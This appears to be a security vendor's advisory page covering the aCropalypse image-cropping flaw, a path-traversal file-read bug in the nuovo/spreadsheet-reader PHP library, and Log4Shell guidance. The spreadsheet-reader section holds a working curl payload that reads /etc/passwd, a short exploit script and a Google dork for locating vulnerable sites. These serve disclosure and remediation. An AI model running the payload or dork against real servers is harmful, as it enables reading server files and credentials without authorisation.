Ihre Analyse ergab, dass beim Speichern des beschnittenen Bildes tatsächlich nicht das alte Bild gelöscht wird Stattdessen wird mit dem neuen, kleineren Bildausschnitt nur der Beginn des alten Bildes überschrieben. Die alten Bildinformationen sind jedoch weiterhin in großen Teilen vorhanden. Aarons und Buchanan entwickelten daraufhin ein Web-Tool mit dem sich das ursprüngliche Bild aus dem einem beschnittenen weitestgehend rekonstruieren lässt. Die Schwachstelle hat trägt die offizielle CVE-ID „CVE-2023-21036“.

Die folgende Abbildung soll den Unterschied zwischen erwartetem Ergebnis und tatsächlichem Ergebnis veranschaulichen. Die „IEND“-Byte-Folge markiert in einer PNG-Datei die Stelle an dem das Ende der Bildinformationen erreicht ist.

Bildbetrachtungsprogramme haben mit dem Anzeigen der Variante (2) des Bildes kein Problem, da die IEND-Byte-Folge korrekt hinter dem beschnittenen Bildausschnitt gesetzt wurde. Aus Sicht der Image-Tools handelte es sich um ein syntaktisch korrekte PNG-Datei. Informationen nach dem IEND werden einfach ignoriert. Mittlerweile wurde eine Sicherheitslücke im Microsoft Snipping-Tool entdeckt, welche sich analog ausnutzen lässt. Wir haben dies zum Anlass genommen weitere Tools auf diese Art von Schwachstelle hinzu untersuchen, jedoch war keines davon anfällig. Die folgenden Tools wurden untersucht:

ToolVersion
IrfanView4.62
Greenshot1.2.10
XnView MP1.4.3
ShareX15.0
Durch die HiSolutions auf „Acropalypse“-Anfälligkeit untersuchte Tools

Zur Untersuchung haben wir die Dateigröße von Originaldatei und zugeschnittener Datei verglichen. Haben beide die gleiche Größe ist der Fehler sehr wahrscheinlich, da eine zugeschnittene Datei mit weniger Bildinhalt entsprechend weniger Speicherplatz benötigen sollte. Bei allen getesteten Tools war die Dateigröße der beschnittenen Datei deutlich kleiner als die der Originaldatei.

Da die Google-Pixel App und und das Microsoft Snipping-Tool eine unterschiedliche Code-Basis verwenden, gehen wir davon aus, dass es sich um einen vergleichbaren Logikfehler bei der Programmierung handelt: Beide Tools schreiben den kleineren Inhalt in die größere Originaldatei ohne die Restlänge der Datei verwerfen. Hinweis auf eine Schwachstelle, welche durch eine anfällige, gemeinsam genutzte Bibliothek entstanden ist, können wir nicht erkennen.

Proof-of-Concept

Das folgende Beispiel zeigt, wie aus einem, auf einem Google Pixel beschnittenes Bild, das Originalbild wiederhergestellt wird (pixel_cropped.png, pixel_original.png). Für die Wiederherstellung wurde dieses Script verwendet.

Das folgende Beispiel zeigt, wie aus einem, mit dem Windows Snipping-Tool beschnittenem Bild, das Originalbild wiederhergestellt wird (windows_cropped.png, windows_original.png).

Da das Snipping-Tool RGBA statt RGB als PNG Image Type verwendet, muss der oben verlinkte Code leicht angepasst werden, um auch hier das Original wiederherzustellen. Die Änderungen betreffenen die folgenden Zeilen:

132c132
< ihdr += (2).to_bytes(1, "big") # true colour
---
> ihdr += (6).to_bytes(1, "big") # true colour with alpha
140c140
< reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff" * orig_width) * orig_height)
---
> reconstructed_idat = bytearray((b"\x00" + b"\xff\x00\xff\xff" * orig_width) * orig_height)
149c149
< for i in range(0, len(reconstructed_idat), orig_width*3+1):
---
> for i in range(0, len(reconstructed_idat), orig_width*4+1):

Voraussetzung zur Ausnutzung

Nach Kenntnisstand vom 22.03.2023 müssen die folgenden Voraussetzungen gegeben sein, um eine anfällige Bild-Datei zu erhalten.

  • Das Bild muss mit einer anfälligen Software bearbeitet worden sein.
  • Nach aktuellem Kenntnisstand ist ausschließlich die nachträgliche Wiederherstellung aus PNG-Bildern möglich.
  • Die beschnittene Bilddatei, darf nicht nachträglich komprimiert worden sein, da sonst die verborgenen Bildinformationen entfernt werden.  Dies geschieht jedoch beim Upload auf online-Plattformen häufig automatisch.
  • Für die Rekonstruktion muss die Bildgröße des unbeschnittenen Originalbildes bekannt sein. Diese kann jedoch durch geschicktes ausprobieren von Standard-Displayauflösungen erraten, z. B. Full HD (1920 × 1080 Pixel), oder durch zusätzliche Metainformationen wie beispielsweise dem Handymodell ermittelt werden.

Auswirkungen

Personen mit Zugriff auf mit einer anfälligen Software beschnittene Bilder können große Teile des Originalbildes wiederherstellen. Sofern durch das Abschneiden des Bildinhaltes sensible Bereiche entfernt wurden, wie z. B. Bankdaten, persönliche Informationen oder Gesichter, ließen sich diese möglicherweise wieder sichtbar machen und für bösartige Absichten verwenden.

Der Grund dafür dass manche Bildinformationen verloren gehen, ist dem Aufbau des PNG-Dateiformats geschuldet. Bildinhalte werden in einer Sequenz sogenannter IDAT-Chunks gespeichert. Beim Speichern des beschnittenen Bildes über den Datei-Anfang des Originals werden bestimmte Teile des Originalbildes überschrieben. IDAT-Chunks die auf diese Weise verändert bzw. beschädigt werden können nicht korrekt wiederhergestellt werden, was zu einer wirren oder leeren Pixelfläche im wiederhergestellten Bild führt.

Gegenmaßnahmen

Wurden sensible Bilder mit einem der genannten Tools beschnitten und veröffentlich, dann sollten diese nach Möglichkeit von der betroffenen Plattform gelöscht werden. Dies ist jedoch nur notwendig, wenn die Bilder auf der Plattform unkomprimiert veröffentlicht sind (siehe „Voraussetzung zur Ausnutzung“).

Betroffene Bilddateien können repariert werden, indem das Bild in einem anderen Format (z. B. JPEG) gespeichert wird. Hierdurch werden die verborgenen Dateiinhalte abgeschnitten.

Google hat bereits reagiert und ein Update für seine Pixel-Smartphones veröffentlicht. Dieses sollte umgehend eingespielt werden. Bei der Verwendung des Microsoft Snipping-Tools sollten beschnittene Bilder als neue Datei unter einem anderen Dateinamen gespeichert werden. Dadurch wird verhindert, dass lediglich das alte Bild unsauber überschrieben wird. Ein Patch wurde zum aktuellen Zeitpunkt noch nicht veröffentlicht.

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).

Log4Shell-Schwachstelle in Log4j: Überblick

Hilfe zur Selbsthilfe

Unsere aktuelle HiSolutions „Hilfe zur Selbsthilfe Log4Shell“ (v1.11 vom 05.01.2022 07:00) gibt es hier zum Download:

(Danke an das Team für die schnelle Arbeit – Inés Atug, Markus Drenger, Enno Ewers, Daniel Jedecke, Lisa Lobmeyer, Lena Morgenroth, Folker Schmidt, Volker Tanger, Manuel Atug.)

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Changelog 

V1.11 (05.01.2022 07:00): CVE-2021-44832 (Arbitrary Code Execution) und Updatehinweis auf Version 2.17.1 ergänzt. Hinweis auf Ausnutzung ohne Nachladen von Schadcode entfernt. Scantools von AV-, Endpoint-Protection-, IDS- und Schwachstellenscanner-Herstellern ergänzt. Bekannte Angriffe ergänzt.

V1.10 (22.12.2021 09:00): Abgleich mit dem erweiterten BSI-Dokument (Stand 20.12.2021). Ergänzen der Gefährdungslage. Überarbeitung der Dokumentenstruktur. Löschung von Dopplungen. Ergänzen von Maßnahmenempfehlungen. Ergänzen bisher bekannter Angriffe (zum Ableiten möglicher IOCs).

V1.9 (20.12.2021 21:00): Expliziter Hinweis, dass generell alle Versionen vor 2.17.0 anfällig sind. Hinweis auf neue Schwachstelle in Version 2.16.0. Hinweis auf Prüfung in ICS-Umgebungen. Einbeziehung von Produkt-Herstellern und Dienstleistern konkretisiert.

V1.8 (15.12.2021 20:00): Verbesserung und Hinweise zu Überprüfung von Linux-Systemen per Kommandozeile.

V1.7 (15.12.2021 18:00): Verweis auf Angriffe mittels Ransomware hinzugefügt. Klarstellung zur Zielgruppe des Dokumentes eingefügt. Sprachliche Verbesserungen. Hinweis auf besseres Logging eingebaut. Hinweis auf CI/CD und Wiederherstellung von Backups eingefügt.

V1.6 (15.12.2021 12:00): CISA-Liste betroffener Produkte hinzugefügt. Hervorhebung der neuen Log4j 2.15.0 CVE-2021-45046 und des Defizits im ersten Patch. Prüfung via Konsole auf Linux-Systemen. Strukturiertes Vorgehen, um zu erkennen, ob Angreifer sich eingenistet und im Anschluss selber das System gepatcht haben. Verifikation der Behebung der Verwundbarkeit nach Patch. Datenschutzrelevantes Dokument vom BayLDA aufgenommen. BSI-Dokumente referenziert. Hinweis auf Feedbackmöglichkeit.

V1.5 (14.12.2021 15:00): Priorisierung und Liste aller Produkte. Wir haben eine Empfehlung zur Priorisierung hinzugeführt sowie eine Vorgehensweise der strukturierten Erfassung aller Produkte, die betroffen sind, und wie diese abgearbeitet werden kann.

V1.4 (14.12.2021 13:00): log4j v1.x mit CVE-2021-4104 adressiert. Ausnutzung der Schwachstellen seit 1.12.2021. Cloud Dienste hinzugefügt. Potentiell betroffene Systeme mit drei Merkmalen beschrieben. Intranet erläutert. Egress-Filter (ausgehender Datenverkehr) hinzugefügt. Hinweis auf Logfile-Sicherungen aufgrund der Angriffe seit 1.12.2021. Hinweis auf Aussage Hessischer Beauftragter für Datenschutz und Informationsfreiheit (HBDI), dass wegen Art. 33 DSGVO auf erfolgreiche Angriffe zu prüfen ist. 

V1.3 (13.12.2021 17:00): Erste veröffentlichte Version 

Beiträge zu Log4Shell/Log4j

  • Log4Shell: HiSolutions Self-Help Guide Log4j
    The following self-help guide contains HiSolutions‘ expert assessment, recommendations, IT procedures, and measures to cope with the ongoing Log4Shell cybersecurity incident and attack wave caused by a critical vulnerability in the Apache Log4j logging library. Special thanks to Lisa Lobmeyer for the English version.
  • Log4Shell-Schwachstelle in Log4j: Überblick
    Hilfe zur Selbsthilfe Unsere aktuelle HiSolutions „Hilfe zur Selbsthilfe Log4Shell“ (v1.11 vom 05.01.2022 07:00) gibt es hier zum Download: (Danke an das Team für die schnelle Arbeit – Inés Atug, Markus Drenger, Enno Ewers, Daniel Jedecke, Lisa Lobmeyer, Lena Morgenroth, Folker Schmidt, Volker Tanger, Manuel Atug.) Go to English version Changelog  V1.11 (05.01.2022 07:00): CVE-2021-44832 (Arbitrary Code Execution) und Updatehinweis auf Version 2.17.1 ergänzt. Hinweis auf Ausnutzung ohne Nachladen von Schadcode entfernt. Scantools von AV-, Endpoint-Protection-, IDS- und Schwachstellenscanner-Herstellern ergänzt. […]
  • Log4Shell: Massive Bedrohung durch Schwachstelle in Bibliothek Log4j
    Aktuell besteht eine IT-Sicherheitsbedrohung der höchsten Warnstufe: Durch eine Schwachstelle in der weitverbreiteten Java-Protokollierungsbibliothek Log4 sind sehr viele Systeme, Anwendungen und Applikationen (unvollständige, ständig wachsende Liste hier) anfällig für einen sehr einfach durchzuführende Remote Code Execution Angriff (RCE). Ein Vielzahl von Akteuren scannt bereits das Internet nach vulnerablen Instanzen, und erste Angreifer haben bereits begonnen, Backdoors auf Systemen zu installieren. Diese könnten später etwa für Ransomware-Angriffe missbraucht werden. Die Bibliothek ist dringend zu patchen – eine Herausforderung durch die vielen […]